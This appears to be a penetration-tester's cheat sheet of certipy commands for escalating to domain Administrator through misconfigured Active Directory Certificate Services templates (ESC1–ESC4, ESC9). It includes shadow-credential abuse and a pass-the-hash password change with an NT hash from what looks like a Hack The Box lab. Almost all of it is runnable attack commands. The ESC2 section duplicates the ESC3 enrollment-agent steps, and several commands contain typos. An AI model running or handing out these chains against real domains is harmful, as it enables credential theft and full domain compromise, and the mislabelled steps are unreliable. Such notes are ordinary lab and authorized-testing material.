Active Directory Certificate Services (AD CS)

https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-certificate-services/#esc2-misconfigured-certificate-templates

If we have ports 3268, 3269 open, certificates should be checked!

Find Vulnerable Certificates

certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -vulnerable -stdout

ESC1: Misconfigured Certificate Templates

First Step

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -dns <RHOST>

Second Step

certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC2: Misconfigured Certificate Templates

First Step

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>

Second Step

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx

Third Step

certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC3: Enrollment Agent Templates

First Step

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>

Second Step

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx

Third Step

certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC4: Vulnerable Certificate Template Access Control

First Step

First, overwrite the configuration to make it vulnerable to ESC1

certipy-ad template -dc-ip <ip> -u <user> -p <pass> -template <templateName> -target <ip> -save-old

Second Tab

Then, request a certificate based on the ESC4 template, just like ESC1.

certipy-ad req -username <user> -password <pass> -ca <ca_name> -template <templateName> -upn Administrator@<domain> -target-ip <ip> -dns <dns_dc>

Untitled

Get the hash

certipy-ad auth -pfx administrator_dc01.pfx -dc-ip <ip>

ESC9

Step 1

User 1 have GenericWrite to user2, we can get the user2 hash using shadow Crentials because of user's1 GenericWrite

certipy shadow auto -username <user1>@<domain> -p <pass1> -account <user2>

We can also change the password of that user:

pth-net rpc password "ca_operator" "Password123" -U "certified.htb"/"management_svc"%"ffffffffffffffffffffffffffffffff":"a091c1832bcdd4677c28b5a6a1295584" -S "10.10.11.41" 

Step 2

In this step, we change the user2 userPrincipalName to Administrator:

certipy account update -username <user1>@<domain> -password <pass1> -user <user2> -upn Administrator

Step 3

We request the Vulnerable ECS9 Template with the user2

certipy req -username <user2>@<domain> -hashes <hashb> -ca <ca_name> -template <vulnerableESC9 template name>

Step 4

And finally we get the hash of administrator:

certipy auth -pfx adminitrator.pfx -domain corp.local